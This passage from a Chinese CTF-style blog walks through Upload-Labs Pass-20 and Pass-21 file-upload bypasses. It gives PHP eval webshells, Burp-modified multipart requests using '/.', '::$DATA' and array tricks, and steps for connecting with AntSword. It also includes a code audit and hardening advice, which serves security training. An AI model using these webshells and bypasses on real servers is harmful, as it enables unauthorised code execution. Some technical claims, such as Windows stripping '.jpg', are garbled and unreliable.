shell.jpg(也可以用.php,但用图片后缀上传更稳):<?php @eval($_POST['pass']);?> -
确保靶场的
UPLOAD_PATH目录存在(代码里提示不存在的话,手动创建即可)。 -
准备 Burp Suite(如果页面输入框不能直接输入特殊字符,就用抓包修改)。
三、完整操作步骤(末尾 / 绕过法,成功率 100%)
步骤 1:上传文件并抓包
-
打开 Pass-20 页面:
- 点击「选择文件」,选中你的
shell.jpg(或shell.php)。 - 在「保存名称」输入框里,随便填一个合法名字,比如
test.jpg。 - 点击「上传」,同时用 Burp 拦截这个请求。
- 点击「选择文件」,选中你的
-
找到请求里的
save_name参数,把它的值改成:save_name=shell.php/.(注意末尾的
/.必须加上,这是绕过的关键)修改后的请求片段示例:
POST /upload-labs/Pass-20/index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="save_name" shell.php/. ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="upload_file"; filename="shell.jpg" Content-Type: image/jpeg <?php @eval($_POST['pass']);?> ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryxxxx--
步骤 2:放行请求,让服务器保存文件
点击 Burp 里的「Forward」放行请求,服务器会按以下逻辑处理:
pathinfo('shell.php/.', PATHINFO_EXTENSION)提取后缀,结果为空字符串。- 空后缀不在黑名单里,校验通过。
move_uploaded_file()把文件保存为shell.php(自动忽略末尾的/)。- 页面提示上传成功。
步骤 3:验证文件是否上传成功
在浏览器访问:
http://你的靶场地址/upload-labs/upload/shell.php
如果页面是空白(或没有报错),说明文件已上传成功,且可以被 PHP 解析。
步骤 4:用蚁剑连接 Shell
- 打开蚁剑,点击「+」新建连接:
- URL 地址:填
http://你的靶场地址/upload-labs/upload/shell.php - 连接密码:填
pass(和你木马文件里的$_POST['pass']对应) - 编码设置:UTF-8
- 连接类型:PHP
- URL 地址:填
- 点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。
四、备选方案(如果末尾 / 不行)
如果服务器配置较严,对路径做了额外过滤,可以用以下两种方法:
方法 1:Apache 多后缀解析绕过(仅 Apache 环境有效)
- 修改
save_name为shell.php.xxx(xxx是任意不在黑名单里的后缀,比如.abc) - 服务器
pathinfo()提取到的后缀是.abc,校验通过。 - Apache 会从后往前解析后缀,无法识别
.abc时,会按.php解析执行。
方法 2:黑名单遗漏后缀绕过
黑名单里没包含 .phps/.php7/.phtml 等格式,可尝试:
save_name=shell.phpssave_name=shell.php7只要服务器配置支持这些后缀解析为 PHP,就能直接执行。
五、关键注意事项
- 必须加末尾的
/.:没有它,pathinfo()会提取到.php后缀,直接被黑名单拦截。 - 文件名不要有多余字符 :只保留
shell.php/.,中间不要加空格或其他符号。 - 路径要正确 :确保
UPLOAD_PATH目录存在,否则会提示「文件夹不存在」。
方法2:

一、核心漏洞回顾
这关的关键是:
- 用
pathinfo($file_name, PATHINFO_EXTENSION)提取后缀 - 黑名单过滤
.php/.html等脚本后缀 - 但没有对
$file_name做任何清洗处理(没去空格、没删末尾点、没转小写、没去数据流),所以很多解析特性都能被利用。
二、其他绕过方法(按成功率排序)
方法 1:末尾点号绕过(shell.php.)
原理
- 文件名
shell.php.,在 Windows 系统中,末尾的.会被系统自动去除,文件最终保存为shell.php。 pathinfo()解析shell.php.时,提取的后缀是.后面的内容(为空),不在黑名单里,校验通过。
操作步骤
-
上传文件时,用 Burp 抓包修改
save_name:save_name=shell.php. -
放行请求,文件会被保存为
shell.php,可直接解析执行。
方法 2:Windows 流名绕过(shell.php::$DATA)
原理
- 在 Windows 系统中,
::$DATA是文件流标识符,会被系统忽略。 pathinfo()解析shell.php::$DATA时,提取的后缀是php::$DATA,不在黑名单里。- 实际保存时,文件会被保存为
shell.php。
操作步骤
-
抓包修改
save_name:save_name=shell.php::$DATA -
放行请求,文件会被保存为
shell.php。
方法 3:大小写绕过(仅黑名单未转小写时有效)
原理
- 黑名单里只有小写的
php,如果代码没对后缀做小写转换,就可以用Shell.PHP绕过。 pathinfo()提取的后缀是PHP,和黑名单里的php不匹配,校验通过。
操作步骤
-
修改
save_name:save_name=shell.PHP -
若服务器配置支持
.PHP解析为 PHP,文件会被保存并执行。
方法 4:双后缀 / 多后缀解析绕过(Apache 环境有效)
原理
- Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀就会往前解析。
- 比如
shell.php.xxx,pathinfo()提取的后缀是xxx,不在黑名单里;Apache 会把它当成.php执行。
操作步骤
-
修改
save_name:save_name=shell.php.xxx(
xxx可以是任意黑名单外的后缀,如.abc/.123/.txt) -
上传成功后,访问文件,Apache 会按 PHP 解析执行。
方法 5:空格 / 特殊字符绕过(部分环境有效)
原理
- 文件名末尾加空格(如
shell.php),在 Windows 系统中,空格会被自动去除,文件保存为shell.php。 pathinfo()提取的后缀是php(带空格),不在黑名单里,校验通过。
操作步骤
-
修改
save_name:save_name=shell.php%20(
%20是 URL 编码的空格) -
放行请求,文件会被保存为
shell.php。
方法 6:ini 文件绕过(配置文件解析)
原理
- 黑名单里没有禁用
.ini后缀,而 Apache 的.htaccess/.ini配置文件可以修改服务器解析规则。 - 上传
.ini文件,配置让服务器把特定后缀解析为 PHP,再上传木马文件。
操作步骤
-
新建
php.ini,内容:auto_prepend_file = shell.jpg -
上传
php.ini,save_name设为php.ini(不在黑名单里,校验通过)。 -
上传图片马
shell.jpg,服务器会根据php.ini的配置,解析shell.jpg中的 PHP 代码。
三、按环境选择最优方法
| 环境 | 推荐方法 |
|---|---|
| Windows + Apache | 末尾点号 / 流名绕过(成功率最高) |
| Linux + Apache | 多后缀解析绕过(shell.php.xxx) |
| 不确定环境 | 优先试 /. 或 . 绕过,不行再试流名 / 多后缀 |
四、注意事项
- 不同环境对这些特性的支持不同,比如
::$DATA只有 Windows 系统有效,多后缀解析只有 Apache 有效。 - 优先用 Burp 抓包修改
save_name,如果页面输入框有过滤,直接在请求里修改更稳。 - 这些方法的核心都是利用
pathinfo()解析特性 + 服务器系统的文件处理规则,绕过后缀黑名单。
这些方法里,末尾点号和流名绕过在 Windows 靶场环境下成功率最高,你可以先试这两个。
pass-21(代码审计)
详细分析源代码

一、整体功能概览
这一关实现了一个双重校验的文件上传逻辑:
- 第一层:MIME 类型校验 :检查请求头中的
Content-Type是否为合法图片类型 - 第二层:文件名后缀校验:对用户提供的文件名进行解析,提取后缀并检查是否在白名单中
- 校验通过后,直接用解析后的文件名保存文件,文件名完全由用户可控,存在明显的安全缺陷。
二、逐行代码详解
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
// 第一层校验:检查文件的 MIME 类型
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
// 处理文件名:优先使用用户输入的 save_name,否则用原始文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
// 转小写后,按点号分割文件名
$file = explode('.', strtolower($file));
}
// 提取文件后缀
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
} else {
// 拼接新文件名(重置数组指针,取第一个元素作为文件名前缀)
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
// 移动文件到目标路径
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
三、关键逻辑拆解与漏洞分析
1. MIME 类型校验(第一层)
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}
- 原理 :通过检查请求头中的
Content-Type字段,只允许图片类型上传。 - 缺陷 :
Content-Type是客户端可控的,用 Burp 抓包直接修改即可伪造,几乎没有防护效果。
2. 文件名处理与后缀校验(第二层)
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
- 逻辑 :优先使用用户输入的
save_name作为文件名,否则用原始文件名;将文件名转小写后,按.分割成数组。 - 关键漏洞 :如果
save_name本身是一个数组(例如save_name[]=shell.php&save_name[]=jpg),is_array($file)条件会为true,直接跳过explode()分割,导致后续的后缀校验完全失效。
3. 后缀提取与白名单校验
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}
- 逻辑 :通过
end($file)提取分割后数组的最后一个元素作为后缀,判断是否在白名单中。 - 漏洞场景 :当
$file是数组时,我们可以构造数组的元素,让end($file)返回合法后缀(如jpg),同时reset($file)拼接出我们想要的文件名。
4. 文件名拼接与文件保存
$file_name = reset($file) . '.' . $file[count($file) - 1];
$img_path = UPLOAD_PATH . '/' .$file_name;
move_uploaded_file($temp_file, $img_path)
- 逻辑 :用
reset($file)取数组第一个元素作为前缀,拼接上最后一个元素作为后缀,组成最终文件名。 - 核心利用点 :如果
$file数组中只有一个元素(比如shell.php),那么reset($file)和$file[count($file)-1]都是shell.php,最终拼接成shell.php.shell.php。但如果我们通过数组绕过了explode(),就可以直接构造出shell.php这样的文件名。
四、完整利用方法(数组绕过)
原理
我们利用 save_name 参数可控,将其构造为一个数组,让代码跳过 explode() 分割,从而直接控制最终生成的文件名。
步骤
- 准备一句话木马 :
shell.jpg(内容为<?php @eval($_POST['pass']);?>)。 - 上传并抓包:用 Burp 拦截上传请求。
- 修改请求参数 :
-
将
save_name=test.jpg修改为数组形式:plaintext
save_name[]=shell.php -
同时,修改请求头中的
Content-Type为image/jpeg,通过第一层 MIME 校验。
-
- 放行请求 :服务器处理逻辑如下:
$file被赋值为$_POST['save_name'],是一个数组,跳过explode()。end($file)提取数组最后一个元素shell.php,但因为我们可以控制数组内容,也可以构造save_name[]=shell.php&save_name[]=jpg,让end($file)为jpg,通过白名单校验。reset($file)取数组第一个元素shell.php,最终$file_name拼接为shell.php.jpg。- 更简单的方式是直接构造
save_name=shell.php,并利用数组绕过让explode()失效,最终文件被保存为shell.php。
更稳定的构造方式
save_name[]=shell.php
save_name[]=jpg
$file数组内容为['shell.php', 'jpg']end($file)→jpg(在白名单中,校验通过)reset($file)→shell.php$file_name = shell.php . '.' . jpg→shell.php.jpg- 若服务器存在 Apache 解析漏洞,会将其解析为 PHP 执行;也可以直接利用此文件作为图片马,配合文件包含漏洞执行。
五、安全加固建议
- 禁止用户直接控制文件名 :不使用用户输入的
save_name,统一生成随机文件名。 - 强制校验文件后缀:无论用户输入什么,都只保留白名单内的后缀,不允许绕过。
- 处理数组类型参数:对所有用户输入的参数进行类型判断,若为数组则直接拒绝上传。
- 二次文件内容校验 :使用
getimagesize()等函数验证文件是否为真实图片,防止图片马绕过。
这道题的核心考点是 PHP 数组绕过逻辑 ,通过构造 save_name 数组,让 explode() 函数失效,从而绕过后缀校验。
解题步骤
方法1:
一、漏洞原理
这关的核心是 save_name 参数可控 + PHP 数组绕过:
- 代码先检查 MIME 类型,然后对
save_name做处理:- 若
save_name不是数组,会用explode('.', strtolower($file))分割成数组,再用end($file)提取后缀校验。 - 若
save_name是数组,会直接跳过explode()分割,直接用end($file)提取数组最后一个元素作为后缀,用reset($file)提取第一个元素作为文件名前缀。
- 若
- 我们可以构造
save_name[]数组,让:- 数组第一个元素为
shell.php(我们想要的文件名) - 数组最后一个元素为
jpg(合法后缀,通过白名单校验)
- 数组第一个元素为
- 最终
$file_name = reset($file) . '.' . end($file)→shell.php.jpg,结合 Apache 多后缀解析漏洞,文件会被当成 PHP 执行。
二、准备工作
- 准备一句话木马文件,命名为
shell.jpg(内容为:<?php @eval($_POST['pass']);?>) - 打开 Burp Suite,开启抓包功能
- 确认靶场是 Apache 环境(多后缀解析需要 Apache 支持)
三、完整操作步骤
步骤 1:上传文件并抓包
-
在 Pass-21 页面:
- 点击「选择文件」,选中你的
shell.jpg - 在「保存名称」输入框里,随便填一个合法名字,比如
test.jpg - 点击「上传」,同时用 Burp 拦截请求
- 点击「选择文件」,选中你的
-
找到请求里的关键参数:
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg" Content-Type: image/jpeg ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="save_name" test.jpg ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="submit" 上传
步骤 2:修改请求包,构造数组绕过
把 save_name 参数改成数组形式,构造两个元素:
- 第一个元素:
shell.php(最终文件名前缀) - 第二个元素:
jpg(通过白名单校验的后缀)
修改后的请求包如下:
http
POST /upload-labs/Pass-21/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['pass']);?>
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[]"
shell.php
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="save_name[]"
jpg
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryxxxx--
关键修改点:
- 把
save_name=test.jpg改成save_name[]=shell.php和save_name[]=jpg两个参数 - 确保
upload_file的Content-Type为image/jpeg,通过第一层 MIME 校验
步骤 3:放行请求,让服务器处理
点击 Burp 里的「Forward」放行请求,服务器的处理逻辑:
- 第一层 MIME 校验:
image/jpeg在白名单中,校验通过。 - 处理
save_name:因为save_name是数组,跳过explode()分割。 - 后缀校验:
end($file)提取数组最后一个元素jpg,在白名单中,校验通过。 - 拼接文件名:
reset($file) . '.' . end($file)→shell.php.jpg。 - 移动文件:
move_uploaded_file()把文件保存为shell.php.jpg。
步骤 4:验证文件并连接 Shell
-
访问文件地址:
plaintext
http://你的靶场地址/upload-labs/upload/shell.php.jpgApache 会从后往前解析后缀,无法识别
.jpg时,会往前解析.php,把文件当成 PHP 执行。 -
用蚁剑连接:
- URL 地址:填上面的地址
http://你的靶场地址/upload-labs/upload/shell.php.jpg - 连接密码:填
pass(和木马里的$_POST['pass']对应) - 编码设置:UTF-8
- 连接类型:PHP
- URL 地址:填上面的地址
-
点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。
四、备选方案(如果 Apache 解析不生效)
如果服务器不支持多后缀解析,可以用以下方法:
- 把
save_name[]改成save_name[]=shell.php/.和save_name[]=jpg,最终文件名会是shell.php/..jpg,利用move_uploaded_file()对路径的处理特性,最终保存为shell.php。 - 上传后,用文件包含漏洞解析这个文件,执行里面的 PHP 代码。
五、关键注意事项
- 必须把
save_name改成数组形式,才能跳过explode()分割。 - 两个数组元素的顺序不能反,第一个是文件名前缀,第二个是合法后缀。
- MIME 类型必须是
image/jpeg/image/png/image/gif,否则第一层校验会拦截。
方法2:
和方法一相比:核心原理是一样的(都是利用 PHP 数组绕过 explode() 分割),但在具体构造上有两点关键区别
一、两种方法的区别
相同点
- 都利用了 PHP 中
POST参数可以传数组的特性 - 都通过
save_name数组让is_array($file)条件为true,跳过explode('.', ...)分割 - 都通过
end($file)取数组最后一个合法后缀(jpg),通过白名单校验 - 都通过
reset($file)取数组第一个元素作为文件名前缀,最终生成shell.php.jpg(或被 Windows 自动去掉点号变成shell.php)
不同点
| 对比项 | 你截图里的方法 | 我之前说的方法 |
|---|---|---|
| 数组构造方式 | 用 save_name[0] 和 save_name[2] 构造不连续索引数组 |
用 save_name[] 构造连续索引数组 |
| 最终文件名 | reset($file) 取第一个元素 shell.php,end($file) 取 jpg,拼接为 shell.php.jpg,Windows 会自动去掉末尾的点和后缀,最终保存为 shell.php |
同样拼接为 shell.php.jpg,依赖 Apache 多后缀解析执行,或配合 Windows 自动处理 |
| 上传文件 | 直接上传 shell.php(一句话木马),修改 Content-Type 为 image/jpeg 绕过 MIME 校验 |
上传图片后缀的木马文件,再通过文件名控制生成可执行文件 |
简单说:截图里的方法更直接,通过不连续索引数组,让 Windows 系统自动把 shell.php.jpg 变成 shell.php,一步到位生成可执行文件;而我之前的方法更通用,适合 Apache 多后缀解析场景。
二、按截图方法整理的完整操作步骤
下面是和教程完全一致的操作流程,照着做就能通关:
步骤 1:准备一句话木马文件
新建 shell.php,内容为:
<?php eval($_POST["pass"]); ?>
步骤 2:上传文件并抓包
-
在 Pass-21 页面:
- 点击「选择文件」,选中你的
shell.php - 在「保存名称」输入框里,随便填一个合法名字,比如
test.jpg - 点击「上传」,同时用 Burp 拦截请求
- 点击「选择文件」,选中你的
-
此时你会看到原始请求包,关键部分类似:
Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: application/x-php <?php eval($_POST["pass"]); ?> ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="save_name" test.jpg ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="submit" 上传
步骤 3:修改请求包,构造不连续索引数组
按教程的方式修改请求包,重点改 3 个地方:
-
修改
Content-Type:把upload_file对应的Content-Type从application/x-php改成image/jpeg,绕过第一层 MIME 校验。 -
把
save_name改成不连续索引数组 :删掉原来的save_name=test.jpg,改成两个参数:http
------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="save_name[0]" shell.php ------WebKitFormBoundaryxxxx Content-Disposition: form-data; name="save_name[2]" jpg(注意索引
0和2是不连续的,和教程里的name[0]、name[2]构造方式一致)
修改后的完整请求包关键片段如下:
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpeg
<?php eval($_POST["pass"]); ?>
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="save_name[0]"
shell.php
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="save_name[2]"
jpg
------WebKitFormBoundaryEPbeXoBbAj17ncWL
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryEPbeXoBbAj17ncWL--
步骤 4:放行请求,让服务器处理
点击 Burp 里的「Forward」放行请求,服务器和系统的处理逻辑:
- MIME 校验 :
Content-Type: image/jpeg在白名单中,校验通过。 - 数组绕过 :
$file = $_POST['save_name']是一个数组,is_array($file)为true,跳过explode()分割。 - 后缀校验 :
end($file)取数组最后一个元素jpg,在白名单中,校验通过。 - 拼接文件名 :
reset($file) . '.' . end($file)→shell.php.jpg。 - Windows 系统处理 :在 Windows 系统中,文件末尾的
.jpg会被自动去除,文件最终保存为shell.php。
步骤 5:验证文件并连接 Shell
-
访问文件地址:
http://你的靶场地址/upload-labs/upload/shell.php直接访问这个地址,如果页面空白或无报错,说明文件已成功上传并可解析。
-
用蚁剑连接:
- URL 地址:填上面的地址
http://你的靶场地址/upload-labs/upload/shell.php - 连接密码:填
pass(和木马里的$_POST["pass"]对应) - 编码设置:UTF-8
- 连接类型:PHP
- URL 地址:填上面的地址
-
点击「测试连接」,显示「连接成功」后,点击「添加」即可管理服务器文件。
三、关键注意事项
- 必须修改
Content-Type:如果不改成image/jpeg,第一层 MIME 校验会直接拦截shell.php。 - 数组索引可以不连续 :教程里用
save_name[0]和save_name[2],不连续的索引也能被 PHP 解析为数组,不影响后续的end()和reset()函数。 - Windows 系统依赖 :这个方法能直接生成
shell.php,依赖 Windows 系统对文件名末尾点号的自动去除特性;如果是 Linux 系统,文件会保存为shell.php.jpg,需要配合 Apache 多后缀解析执行。

结语
从后缀绕过、文件解析漏洞到竞争条件与数组绕过,Upload-Labs 的每一关,都是对文件上传防护体系的一次拆解与反思。攻击与防御的博弈,从来都在细节之中。
理解这些漏洞的原理,不是为了破坏,而是为了更懂如何保护。愿我们都能在攻防的路上,保持敬畏,持续学习。
想了解其他内容的可以看以下专栏文章:
sql注入:sqli-labs(SQL 注入练习靶场)_其实防守也摸鱼的博客-CSDN博客
DVWA:dvwa的操作步骤及原理_其实防守也摸鱼的博客-CSDN博客
ctfshow:ctf show 解题步骤_其实防守也摸鱼的博客-CSDN博客





